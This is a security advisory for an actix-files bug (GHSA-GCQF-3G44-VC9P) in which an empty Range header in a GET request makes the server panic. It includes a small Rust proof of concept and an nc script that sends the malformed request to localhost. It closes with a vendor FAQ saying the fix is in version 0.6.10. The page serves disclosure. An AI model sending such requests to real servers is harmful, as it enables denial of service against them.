GHSA-GCQF-3G44-VC9P

[actix-files] Panic triggered by empty Range header in GET request for static file

[package]
name = "example"
version = "0.1.0"
edition = "2021"

[dependencies]
actix-web = "=4.5.1"
actix-files = "=0.6.5"

[profile.dev]
panic = "abort"

use actix_files::NamedFile;
use actix_web::{get, Responder};

#[get("/")]
async fn index() -> impl Responder {
    NamedFile::open("test_file")
}

#[actix_web::main]
async fn main() -> std::io::Result<()> {
    use actix_web::{App, HttpServer};

    HttpServer::new(|| App::new().service(index))
        .bind(("127.0.0.1", 8080))?
        .run()
        .await
}

#!/bin/bash

echo foo > test_file
cargo b
cargo r&
sleep 1
nc 127.0.0.1 8080 << EOF
GET / HTTP/1.1
Range:

EOF
kill %1

It is believed that only programs compiled with panic = "abort" are affected significantly. The only potential impact that can be seen is Denial of Service, though an attacker able to repeatedly send GET requests without those requests getting blocked by rate limiting, DDoS protection, etc. would be able to keep a server down indefinitely. As only a single unblocked request is needed to trigger the panic, merely having a rate limiter may not be enough to prevent this.

Though the impact in the worst case is significant, the real-world risk of this vulnerability appears to be limited, as it would be expected that anyone for whom uptime is a significant concern would not compile their program with panic = "abort".

The application does not adequately validate input before processing it, allowing unexpected values to reach sensitive code paths. Typical impact: varies by context: data corruption, logic bypass, or denial of service.

Kodem intelligence

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1. What is GHSA-GCQF-3G44-VC9P? GHSA-GCQF-3G44-VC9P is a medium-severity improper input validation vulnerability in actix-files (rust), affecting versions <= 0.6.9. It is fixed in 0.6.10. The application does not adequately validate input before processing it, allowing unexpected values to reach sensitive code paths.
2. Which versions of actix-files are affected by GHSA-GCQF-3G44-VC9P? actix-files (rust) versions <= 0.6.9 is affected.
3. Is there a fix for GHSA-GCQF-3G44-VC9P? Yes. GHSA-GCQF-3G44-VC9P is fixed in 0.6.10. Upgrade to this version or later.
4. Is GHSA-GCQF-3G44-VC9P exploitable, and should I be worried? Whether GHSA-GCQF-3G44-VC9P is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
5. What actually determines whether GHSA-GCQF-3G44-VC9P is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
6. How do I fix GHSA-GCQF-3G44-VC9P? Upgrade actix-files to 0.6.10 or later.

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